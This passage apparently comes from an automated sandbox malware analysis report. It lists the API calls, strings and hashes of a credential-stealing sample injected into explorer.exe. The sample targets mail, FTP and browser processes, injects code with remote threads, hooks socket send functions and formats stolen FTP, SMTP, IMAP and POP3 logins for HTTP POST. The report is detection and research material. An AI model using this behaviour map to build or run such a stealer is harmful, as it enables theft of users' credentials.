lstrcmpi.KERNEL32(?,mailmaster.exe), ref: 000C1236
lstrcmpi.KERNEL32(?,263em.exe), ref: 000C1246
lstrcmpi.KERNEL32(?,foxmail.exe), ref: 000C1256
lstrcmpi.KERNEL32(?,alimail.exe), ref: 000C1266
lstrcmpi.KERNEL32(?,mailchat.exe), ref: 000C1276
lstrcmpi.KERNEL32(?,microsoftedgecp.exe), ref: 000C12B4
Process32Next.KERNEL32(00000000,00000128), ref: 000C130B
CloseHandle.KERNELBASE(00000000), ref: 000C131C
Sleep.KERNELBASE(000003E8), ref: 000C1327

Strings

thebat32.exe, xrefs: 000C1198
thebat64.exe, xrefs: 000C11AC
outlook.exe, xrefs: 000C1170
firefox.exe, xrefs: 000C1114
alimail.exe, xrefs: 000C125C
foxmail.exe, xrefs: 000C124C
filezilla.exe, xrefs: 000C11D4
chrome.exe, xrefs: 000C1138
thunderbird.exe, xrefs: 000C11C0
microsoftedgecp.exe, xrefs: 000C10D2, 000C1160, 000C12AE
cuteftppro.exe, xrefs: 000C121C
263em.exe, xrefs: 000C123C
winscp.exe, xrefs: 000C11FC
iexplore.exe, xrefs: 000C1124
mailchat.exe, xrefs: 000C126C
opera.exe, xrefs: 000C114C
smartftp.exe, xrefs: 000C11E8
thebat.exe, xrefs: 000C1184
mailmaster.exe, xrefs: 000C122C
flashfxp.exe, xrefs: 000C120C

Memory Dump Source

Source File: 00000018.00000002.628416578.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_c1000_explorer.jbxd

Yara matches

Similarity

API ID: lstrcmpi$HeapProcess32$AllocateCloseCreateFirstHandleNextProcessSleepSnapshotToolhelp32
String ID: 263em.exe$alimail.exe$chrome.exe$cuteftppro.exe$filezilla.exe$firefox.exe$flashfxp.exe$foxmail.exe$iexplore.exe$mailchat.exe$mailmaster.exe$microsoftedgecp.exe$opera.exe$outlook.exe$smartftp.exe$thebat.exe$thebat32.exe$thebat64.exe$thunderbird.exe$winscp.exe
API String ID: 3950187957-1680033604
Opcode ID: 6fe84fb342beb606166c265e69935f49d22730f4db86aed32df6f4077efd07e7
Instruction ID: 06162d223618393fa6c8fe91d79d6bdaf10c44f83c16165dd54d4970907d8ed5
Opcode Fuzzy Hash: 6fe84fb342beb606166c265e69935f49d22730f4db86aed32df6f4077efd07e7
Instruction Fuzzy Hash: F251A571614345A7EB40EBB18C85FAFBBEC6F46780B04492DFA80C70D2EF64DA058A75

Function 000C7728 Relevance: 6.2, APIs: 4, Instructions: 204
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000018.00000002.628416578.00000000000C6000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C6000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_c6000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b459fe83487325506da812504ff279d912cf47021c592ab2696e7eecfa011e7
Instruction ID: eb3607feab7254c5dcdbfa78ba087b045d5656e9aa6ae36a1ecaffe79259ccf0
Opcode Fuzzy Hash: 3b459fe83487325506da812504ff279d912cf47021c592ab2696e7eecfa011e7
Instruction Fuzzy Hash: 7051E87194C3564FD7224B78CC84BAD7BE0EB52320B29077DD5E9CB3C6EA94580ACB61

Function 000C2861 Relevance: 3.0, APIs: 2, Instructions: 6
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000008,0000A000,000C10CC), ref: 000C2864
RtlAllocateHeap.NTDLL(00000000), ref: 000C286B

Memory Dump Source

Source File: 00000018.00000002.628416578.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_c1000_explorer.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: efe074880906266fbc637112cab0f49a542b48b7148310e68f052a2ed5cadc65
Instruction ID: fabd7088274ea5878392692656984166807aa6bd3bc966c638ce349ac8c678d8
Opcode Fuzzy Hash: efe074880906266fbc637112cab0f49a542b48b7148310e68f052a2ed5cadc65
Instruction Fuzzy Hash: 90A012724202007FFD4017A0AC1DF053A18B740301F1080007109C40608968014C8721

Non-executed Functions

Function 000C1819 Relevance: 47.5, APIs: 23, Strings: 4, Instructions: 208
injectionnativesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000C2608: VirtualQuery.KERNEL32(000C4434,?,0000001C), ref: 000C2615

OpenProcess.KERNEL32(001FFFFF,00000000,?,00000000,756F3E2E,microsoftedgecp.exe,?), ref: 000C184E
NtSetInformationProcess.NTDLL(00000000,00000034,?), ref: 000C1889
NtUnmapViewOfSection.NTDLL(000000FF,00000000), ref: 000C1919
RtlMoveMemory.NTDLL(00000000,000C3428,00000016), ref: 000C1940
RtlMoveMemory.NTDLL(-00000016,00000363), ref: 000C1968
NtUnmapViewOfSection.NTDLL(000000FF,-00000016), ref: 000C1978
CreateMutexA.KERNEL32(00000000,00000000,opera_shared_counter,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 000C1992
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?,00000000), ref: 000C199A
CloseHandle.KERNEL32(00000000), ref: 000C19A8
Sleep.KERNEL32(000003E8,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 000C19AF
GetModuleHandleA.KERNEL32(ntdll,atan,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 000C19C5
GetProcAddress.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 000C19CC
ReadProcessMemory.KERNEL32(00000000,00000000,?,00000005,00000363), ref: 000C19E2
WriteProcessMemory.KERNEL32(00000000,00000000,?,00000005,00000363), ref: 000C1A0C
CreateRemoteThread.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 000C1A1F
CloseHandle.KERNEL32(00000000), ref: 000C1A26
Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 000C1A2D
WriteProcessMemory.KERNEL32(00000000,00000000,?,00000005,00000363), ref: 000C1A41
CreateRemoteThread.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 000C1A58
CloseHandle.KERNEL32(00000000), ref: 000C1A65
CloseHandle.KERNEL32(?), ref: 000C1A6B
CloseHandle.KERNEL32(?), ref: 000C1A71
CloseHandle.KERNEL32(00000000), ref: 000C1A74

Strings

opera_shared_counter, xrefs: 000C198B
atan, xrefs: 000C19BB
ntdll, xrefs: 000C19C0
microsoftedgecp.exe, xrefs: 000C181D

Memory Dump Source

Source File: 00000018.00000002.628416578.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_c1000_explorer.jbxd

Yara matches

Similarity

API ID: Handle$Close$MemoryProcess$Create$MoveRemoteSectionSleepThreadUnmapViewWrite$AddressErrorInformationLastModuleMutexOpenProcQueryReadVirtual
String ID: atan$microsoftedgecp.exe$ntdll$opera_shared_counter
API String ID: 1066286714-4141090125
Opcode ID: a6ba1d4609ff3c06d8a804dcc6138e8a7f65a91240fa9a5254e3153841d0bee1
Instruction ID: cd3e5879ca9d27351b964acb90a976cadfa7936318c72bb99405be818c26c2d8
Opcode Fuzzy Hash: a6ba1d4609ff3c06d8a804dcc6138e8a7f65a91240fa9a5254e3153841d0bee1
Instruction Fuzzy Hash: 15618B31205304AFE310DF659C84EAFBBECEF8A754F04461DF949D2292DA74DE048BA2

Function 000C263E Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 68
encryptionstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 000C265A
CryptCreateHash.ADVAPI32(?,00008003,00000000,00000000,?), ref: 000C2672
lstrlen.KERNEL32(?,00000000), ref: 000C267A
CryptHashData.ADVAPI32(?,?,00000000,?,00000000), ref: 000C2685
CryptGetHashParam.ADVAPI32(?,00000002,?,?,00000000,?,00000000,?,00000000), ref: 000C269F
wsprintfA.USER32 ref: 000C26B6
CryptDestroyHash.ADVAPI32(?), ref: 000C26CF
CryptReleaseContext.ADVAPI32(?,00000000), ref: 000C26D9

Strings

%02X, xrefs: 000C26B0

Memory Dump Source

Source File: 00000018.00000002.628416578.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_c1000_explorer.jbxd

Yara matches

Similarity

API ID: Crypt$Hash$Context$AcquireCreateDataDestroyParamReleaselstrlenwsprintf
String ID: %02X
API String ID: 3341110664-436463671
Opcode ID: 31bcc4255bfd709aa7cfa5d8d414a08930f501f089af272d391fcf7c25d48962
Instruction ID: 1ced2dabd5bde09d24f47223e58c929b0f130381b90d8f82d5c22ed8a991796b
Opcode Fuzzy Hash: 31bcc4255bfd709aa7cfa5d8d414a08930f501f089af272d391fcf7c25d48962
Instruction Fuzzy Hash: 1E110D72900108BFEB119B95EC88FEEBFBCEB44741F208065F605E2150D7754F559B60

Function 000C1332 Relevance: 26.3, APIs: 11, Strings: 4, Instructions: 94
libraryloadersleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000C2861: GetProcessHeap.KERNEL32(00000008,0000A000,000C10CC), ref: 000C2864
Part of subcall function 000C2861: RtlAllocateHeap.NTDLL(00000000), ref: 000C286B

GetModuleFileNameA.KERNEL32(00000000,00000000,00000104,?,?,000C109E,?,000C1010), ref: 000C134A
GetCurrentProcessId.KERNEL32(00000003,?,000C109E,?,000C1010), ref: 000C135B
wsprintfA.USER32 ref: 000C1372

Part of subcall function 000C263E: CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 000C265A
Part of subcall function 000C263E: CryptCreateHash.ADVAPI32(?,00008003,00000000,00000000,?), ref: 000C2672
Part of subcall function 000C263E: lstrlen.KERNEL32(?,00000000), ref: 000C267A
Part of subcall function 000C263E: CryptHashData.ADVAPI32(?,?,00000000,?,00000000), ref: 000C2685
Part of subcall function 000C263E: CryptGetHashParam.ADVAPI32(?,00000002,?,?,00000000,?,00000000,?,00000000), ref: 000C269F
Part of subcall function 000C263E: wsprintfA.USER32 ref: 000C26B6
Part of subcall function 000C263E: CryptDestroyHash.ADVAPI32(?), ref: 000C26CF
Part of subcall function 000C263E: CryptReleaseContext.ADVAPI32(?,00000000), ref: 000C26D9

CreateMutexA.KERNEL32(00000000,00000000,00000000), ref: 000C1389
GetLastError.KERNEL32 ref: 000C138F
Sleep.KERNEL32(000001F4), ref: 000C13A1

Part of subcall function 000C24D5: GetCurrentProcessId.KERNEL32 ref: 000C24E7
Part of subcall function 000C24D5: GetCurrentThreadId.KERNEL32 ref: 000C24EF
Part of subcall function 000C24D5: CreateToolhelp32Snapshot.KERNEL32(00000004,00000000), ref: 000C24FF
Part of subcall function 000C24D5: Thread32First.KERNEL32(00000000,0000001C), ref: 000C250D
Part of subcall function 000C24D5: CloseHandle.KERNEL32(00000000), ref: 000C2566

GetModuleHandleA.KERNEL32(ws2_32.dll,send), ref: 000C13B8
GetProcAddress.KERNEL32(00000000), ref: 000C13BF
GetModuleHandleA.KERNEL32(ws2_32.dll,WSASend), ref: 000C13E4
GetProcAddress.KERNEL32(00000000), ref: 000C13EB

Part of subcall function 000C1DE3: RtlMoveMemory.NTDLL(00000000,00000000,00000000), ref: 000C1E1D

RtlExitUserThread.NTDLL(00000000), ref: 000C141D

Strings

ws2_32.dll, xrefs: 000C13B3, 000C13DF
WSASend, xrefs: 000C13DA
%s%d%d%d, xrefs: 000C136C
send, xrefs: 000C13AE

Memory Dump Source

Source File: 00000018.00000002.628416578.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_c1000_explorer.jbxd

Yara matches

Similarity

API ID: Crypt$Hash$CreateCurrentHandleModuleProcess$AddressContextHeapProcThreadwsprintf$AcquireAllocateCloseDataDestroyErrorExitFileFirstLastMemoryMoveMutexNameParamReleaseSleepSnapshotThread32Toolhelp32Userlstrlen
String ID: %s%d%d%d$WSASend$send$ws2_32.dll
API String ID: 706757162-1430290102
Opcode ID: ed703c6ed2116747e614e201ea63f73ff4792a1420a91167ce5346e59d09c908
Instruction ID: 4b5f7ea1cadc2ac20a0ec92a998f2ea489c7677d7cb7c13025d44b97cc9c8dd5
Opcode Fuzzy Hash: ed703c6ed2116747e614e201ea63f73ff4792a1420a91167ce5346e59d09c908
Instruction Fuzzy Hash: 43316631350214BBDF147FA1EC1AFDE3A65AF06741F14801CFB069A693CF799A518791

Function 000C1647 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 91
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(000C4220,?,?), ref: 000C1679
lstrlen.KERNEL32(?), ref: 000C1686
getpeername.WS2_32(?,?,?), ref: 000C16A0
inet_ntoa.WS2_32(?), ref: 000C16B1
htons.WS2_32(?), ref: 000C16BF
wsprintfA.USER32 ref: 000C1725

Strings

ftp://%s:%s@%s:%d, xrefs: 000C1708
imap://%s:%s@%s:%d, xrefs: 000C16FA
smtp://%s:%s@%s:%d, xrefs: 000C16F3, 000C1723
pop3://%s:%s@%s:%d, xrefs: 000C1701

Memory Dump Source

Source File: 00000018.00000002.628416578.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_c1000_explorer.jbxd

Yara matches

Similarity

API ID: lstrlen$getpeernamehtonsinet_ntoawsprintf
String ID: ftp://%s:%s@%s:%d$imap://%s:%s@%s:%d$pop3://%s:%s@%s:%d$smtp://%s:%s@%s:%d
API String ID: 3379139566-1703351401
Opcode ID: f403b1286cee76ee6f6dae1f1999a7e2d6d1d0c5b0d0c6e88400c0b1beaf664c
Instruction ID: 499965f4e4083e958a8f6306685f921984b4bef0f59b6f31784507629b2398a1
Opcode Fuzzy Hash: f403b1286cee76ee6f6dae1f1999a7e2d6d1d0c5b0d0c6e88400c0b1beaf664c
Instruction Fuzzy Hash: B721B532E04209AB9F505FADCD88FFE7AF99B46301B08827DE904D3212DA38CE119E50

Function 000C1752 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 44
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(ntdll.dll,sscanf,?,?,?,000C1539,?,?,?,000C144B,?), ref: 000C1763
GetProcAddress.KERNEL32(00000000,?,000C1539,?,?,?,000C144B,?), ref: 000C176A
RtlZeroMemory.NTDLL(000C4228,00000104), ref: 000C1788
RtlZeroMemory.NTDLL(000C4118,00000104), ref: 000C1790
RtlZeroMemory.NTDLL(000C4330,00000104), ref: 000C1798
RtlZeroMemory.NTDLL(000C4000,00000104), ref: 000C17A1

Strings

%s%s%s%s, xrefs: 000C17B3
sscanf, xrefs: 000C1755
ntdll.dll, xrefs: 000C175A

Memory Dump Source

Source File: 00000018.00000002.628416578.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_c1000_explorer.jbxd

Yara matches

Similarity

API ID: MemoryZero$AddressHandleModuleProc
String ID: %s%s%s%s$ntdll.dll$sscanf
API String ID: 1490332519-278825019
Opcode ID: 665bc838b465a568221843140d7207551f5ca96e76c2cf7f93d5faa304cd1841
Instruction ID: 9b72f5d197ddab54b541b5cd6753ea4d33bdff7fe5bcb16f7c936cbc105116f1
Opcode Fuzzy Hash: 665bc838b465a568221843140d7207551f5ca96e76c2cf7f93d5faa304cd1841
Instruction Fuzzy Hash: 94F0893279032C33852023AA7C26F4FBD5CE791FA6356415DBB046B191C899690045F5

Function 000C24D5 Relevance: 15.1, APIs: 10, Instructions: 51
threadprocessinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 000C24E7
GetCurrentThreadId.KERNEL32 ref: 000C24EF
CreateToolhelp32Snapshot.KERNEL32(00000004,00000000), ref: 000C24FF
Thread32First.KERNEL32(00000000,0000001C), ref: 000C250D
OpenThread.KERNEL32(001FFFFF,00000000,?), ref: 000C252C
SuspendThread.KERNEL32(00000000), ref: 000C253C
CloseHandle.KERNEL32(00000000), ref: 000C254B
Thread32Next.KERNEL32(00000000,0000001C), ref: 000C255B
CloseHandle.KERNEL32(00000000), ref: 000C2566

Memory Dump Source

Source File: 00000018.00000002.628416578.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_c1000_explorer.jbxd

Yara matches

Similarity

API ID: Thread$CloseCurrentHandleThread32$CreateFirstNextOpenProcessSnapshotSuspendToolhelp32
String ID:
API String ID: 1467098526-0
Opcode ID: 477cca89c268fa9f198ed8d2171336c16bc28f30b2bb338eca8c59edb517dc68
Instruction ID: a47115e1c75b1418c54b03f969bdd4ab596ab9b2ce003d6c307f16a25842e24d
Opcode Fuzzy Hash: 477cca89c268fa9f198ed8d2171336c16bc28f30b2bb338eca8c59edb517dc68
Instruction Fuzzy Hash: 6D113C72414701EBE711AF60AC6CF6FBBA8FB85701F14852DFA4192150D7389A498BA3

Function 000C1F4A Relevance: 14.3, APIs: 4, Strings: 4, Instructions: 283
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000C2861: GetProcessHeap.KERNEL32(00000008,0000A000,000C10CC), ref: 000C2864
Part of subcall function 000C2861: RtlAllocateHeap.NTDLL(00000000), ref: 000C286B

Part of subcall function 000C27E2: lstrlen.KERNEL32(000C40DA,?,00000000,00000000,000C1F86,75712B62,000C40DA,00000000), ref: 000C27EA
Part of subcall function 000C27E2: MultiByteToWideChar.KERNEL32(00000000,00000000,000C40DA,00000001,00000000,00000000), ref: 000C27FC

Part of subcall function 000C2374: RtlZeroMemory.NTDLL(?,00000018), ref: 000C2386

RtlZeroMemory.NTDLL(?,0000003C), ref: 000C1FE2
wsprintfW.USER32 ref: 000C211B
wsprintfW.USER32 ref: 000C2186
RtlMoveMemory.NTDLL(00000000,00000000,?), ref: 000C2250

Strings

POST, xrefs: 000C20CC
Accept: */*Referer: %S, xrefs: 000C2111
Host: %s, xrefs: 000C2180
Content-Type: application/x-www-form-urlencoded, xrefs: 000C21AA

Memory Dump Source

Source File: 00000018.00000002.628416578.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_c1000_explorer.jbxd

Yara matches

Similarity

API ID: Memory$HeapZerowsprintf$AllocateByteCharMoveMultiProcessWidelstrlen
String ID: Accept: */*Referer: %S$Content-Type: application/x-www-form-urlencoded$Host: %s$POST
API String ID: 4204651544-1701262698
Opcode ID: 00ced92f246b0e182e9234650c8cc5854a342da7926b47b05db65c3987913049
Instruction ID: 54fae69973df5dc1ccceee22a7eb71274f7018e32dce13550f5358145dd9ffd7
Opcode Fuzzy Hash: 00ced92f246b0e182e9234650c8cc5854a342da7926b47b05db65c3987913049
Instruction Fuzzy Hash: 68A16C71609301AFD750EFA8C895F6FBBE8FB88340F14482DF985D3262DA74DA048B52

Function 000C25AD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenProcess.KERNEL32(00000400,00000000,?,756F3E2E,?,?,microsoftedgecp.exe,000C1287), ref: 000C25BF
IsWow64Process.KERNEL32(000000FF,?), ref: 000C25D1
IsWow64Process.KERNEL32(00000000,?), ref: 000C25E4
CloseHandle.KERNEL32(00000000), ref: 000C25FA

Strings

microsoftedgecp.exe, xrefs: 000C25AD

Memory Dump Source

Source File: 00000018.00000002.628416578.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_c1000_explorer.jbxd

Yara matches

Similarity

API ID: Process$Wow64$CloseHandleOpen
String ID: microsoftedgecp.exe
API String ID: 331459951-1475183003
Opcode ID: a4540baabe33dae65950cd7cc6724e42f4f436fe5b6b9215c9b4aa4d9b4854c7
Instruction ID: 51389668a6011c88918ad2746a49408e0558a75df4ff7ef596840189698e615c
Opcode Fuzzy Hash: a4540baabe33dae65950cd7cc6724e42f4f436fe5b6b9215c9b4aa4d9b4854c7
Instruction Fuzzy Hash: 69F030B2952618FFAB10CFD49E98DEF77ACEB01255B24426EF90492540D7354F04EAA4

Function 000C1B17 Relevance: 6.1, APIs: 4, Instructions: 101
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlMoveMemory.NTDLL(?,?,?), ref: 000C1B4E
LoadLibraryA.KERNEL32(?), ref: 000C1B76
GetProcAddress.KERNEL32(00000000,-00000002,?,?,00000001,?,00000000), ref: 000C1BA3
LdrProcessRelocationBlock.NTDLL(?,?,00000008,?), ref: 000C1BF4

Memory Dump Source

Source File: 00000018.00000002.628416578.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_c1000_explorer.jbxd

Yara matches

Similarity

API ID: AddressBlockLibraryLoadMemoryMoveProcProcessRelocation
String ID:
API String ID: 3827878703-0
Opcode ID: 0135a604dd96a555f643a9e8859a7785559c2f12238049f69cf416a4f6a4413e
Instruction ID: 9de573e9276804b81e187fb20ce1929492434760ba543e7ad1151f0902c6dded
Opcode Fuzzy Hash: 0135a604dd96a555f643a9e8859a7785559c2f12238049f69cf416a4f6a4413e
Instruction Fuzzy Hash: F9318276700215ABCB64CF29C894FAAB7E8BF16315F14456DE846C7202E735EC45CBA0

Analysis Process: explorer.exePID: 2836, Parent PID: 1244COMMON

Execution Graph

Execution Coverage:	8.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	9
Total number of Limit Nodes:	2

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0006355C Relevance: 1.6, APIs: 1, Instructions: 73
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtUnmapViewOfSection.NTDLL ref: 000635D8

Memory Dump Source

Source File: 00000019.00000002.628348956.0000000000061000.00000040.80000000.00040000.00000000.sdmp, Offset: 00061000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_61000_explorer.jbxd

Yara matches

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: 105ce7ebc966886b9a25723169f2257f301d4275c672492e635fc8e478682f43
Instruction ID: a7e1edf78df86a80834df86f870b15e34a0a18ae6f39641b0afaeab6d9e318a2
Opcode Fuzzy Hash: 105ce7ebc966886b9a25723169f2257f301d4275c672492e635fc8e478682f43
Instruction Fuzzy Hash: 97119430615E095FFB5CBBB898AD2B937E2EB54301F54412AA81AC76A2DF398A40C741

Function 00063220 Relevance: 9.2, APIs: 6, Instructions: 241
processstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00063266
Process32First.KERNEL32 ref: 00063289
lstrcmpi.KERNEL32 ref: 000632A4
Process32Next.KERNEL32 ref: 00063532
CloseHandle.KERNELBASE ref: 00063543
SleepEx.KERNEL32 ref: 0006354E

Memory Dump Source

Source File: 00000019.00000002.628348956.0000000000061000.00000040.80000000.00040000.00000000.sdmp, Offset: 00061000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_61000_explorer.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSleepSnapshotToolhelp32lstrcmpi
String ID:
API String ID: 1122579583-0
Opcode ID: dd7379c30c01fbe83c455f487028ed93214d04d4b8b4672215a43173641bdad8
Instruction ID: 28e577ad9dc82d99a2c89217d31615d83bbaf6f9860ed4cfdaa8213d510eb323
Opcode Fuzzy Hash: dd7379c30c01fbe83c455f487028ed93214d04d4b8b4672215a43173641bdad8
Instruction Fuzzy Hash: 42812131218A088FE756EF54E858BEAB7E2FB51741F44471AA453C71A0EF78EA04CBC1

Function 0006A048 Relevance: 4.7, APIs: 3, Instructions: 223
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32 ref: 0006A147
VirtualProtect.KERNELBASE(?,?,?,?,?,?,?,-0000000E), ref: 0006A1BB
VirtualProtect.KERNELBASE ref: 0006A1D9

Memory Dump Source

Source File: 00000019.00000002.628348956.0000000000067000.00000040.80000000.00040000.00000000.sdmp, Offset: 00067000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_67000_explorer.jbxd

Similarity

API ID: ProtectVirtual$LibraryLoad
String ID:
API String ID: 895956442-0
Opcode ID: 9471cbd89cfacdc20873a06991d91791c754b160c08a2600c3720216ed5fc549
Instruction ID: cdcb3d13d9fcc50474130bbeb187b8e8950aabbb2f1cede5e515d202ea7ed807
Opcode Fuzzy Hash: 9471cbd89cfacdc20873a06991d91791c754b160c08a2600c3720216ed5fc549
Instruction Fuzzy Hash: A151993135891D0ADB24BA3C9CC47B9B3C3E75B325F18062AC48AD7285D919D8868B83

Analysis Process: explorer.exePID: 2704, Parent PID: 1244COMMON

Execution Graph

Execution Coverage:	9.5%
Dynamic/Decrypted Code Coverage:	97.5%
Signature Coverage:	17.7%
Total number of Nodes:	322
Total number of Limit Nodes:	4

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00081016 Relevance: 33.4, APIs: 14, Strings: 5, Instructions: 193
stringsleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00082724: VirtualQuery.KERNEL32(00000000,?,0000001C,?,?,?,00000000,000829F3,-00000001,0008128C), ref: 00082731

Part of subcall function 00082A09: GetProcessHeap.KERNEL32(00000008,0000A000,000810BF), ref: 00082A0C
Part of subcall function 00082A09: RtlAllocateHeap.NTDLL(00000000), ref: 00082A13

RtlMoveMemory.NTDLL(00000000,?,00000363), ref: 00081038
RtlMoveMemory.NTDLL(00000000,?,?), ref: 0008106C
NtUnmapViewOfSection.NTDLL(000000FF,?), ref: 00081075
GetCurrentProcessId.KERNEL32(?,00081010), ref: 0008107B
wsprintfA.USER32 ref: 000810E7
RtlMoveMemory.NTDLL(00000000,0000000C,-00000001), ref: 00081155
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00081160
Process32First.KERNEL32(00000000,?), ref: 0008117F
CharLowerA.USER32(?), ref: 00081199
lstrcmpi.KERNEL32(?,explorer.exe), ref: 000811B5
lstrcmpi.KERNEL32(?,microsoftedgecp.exe), ref: 00081212
Process32Next.KERNEL32(00000000,00000128), ref: 0008126C
CloseHandle.KERNEL32(00000000), ref: 0008127F
Sleep.KERNELBASE(000003E8), ref: 0008129F

Strings

keylog_rules=, xrefs: 0008110D
%s%s, xrefs: 000810E1
|:|, xrefs: 00081125
microsoftedgecp.exe, xrefs: 00081208
explorer.exe, xrefs: 000811AB

Memory Dump Source

Source File: 0000001A.00000002.628322017.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_81000_explorer.jbxd

Similarity

API ID: MemoryMove$HeapProcessProcess32lstrcmpi$AllocateCharCloseCreateCurrentFirstHandleLowerNextQuerySectionSleepSnapshotToolhelp32UnmapViewVirtualwsprintf
String ID: %s%s$explorer.exe$keylog_rules=$microsoftedgecp.exe$|:|
API String ID: 3206029838-2805246637
Opcode ID: 90536ab19f4f6bce970e7a6ad40275f1c3b84ea01975481b8196837e06f2b1ed
Instruction ID: c891c7935db4289d37885e744c3d10944dcfcb3c9ed39a47a4427c91ed757d4e
Opcode Fuzzy Hash: 90536ab19f4f6bce970e7a6ad40275f1c3b84ea01975481b8196837e06f2b1ed
Instruction Fuzzy Hash: 2251C5302047019BD714BF74DC599BA77EDFF84B41F040528F9D6972A2EA389A468F62

Function 000810A5 Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 151
stringsleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00082A09: GetProcessHeap.KERNEL32(00000008,0000A000,000810BF), ref: 00082A0C
Part of subcall function 00082A09: RtlAllocateHeap.NTDLL(00000000), ref: 00082A13

wsprintfA.USER32 ref: 000810E7

Part of subcall function 0008276D: OpenFileMappingA.KERNEL32(00000006,00000000,00000000), ref: 00082777
Part of subcall function 0008276D: MapViewOfFile.KERNEL32(00000000,00000006,00000000,00000000,00000000,?,?,000810FE), ref: 00082789

RtlMoveMemory.NTDLL(00000000,0000000C,-00000001), ref: 00081155
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00081160
Process32First.KERNEL32(00000000,?), ref: 0008117F
CharLowerA.USER32(?), ref: 00081199
lstrcmpi.KERNEL32(?,explorer.exe), ref: 000811B5
lstrcmpi.KERNEL32(?,microsoftedgecp.exe), ref: 00081212
Process32Next.KERNEL32(00000000,00000128), ref: 0008126C
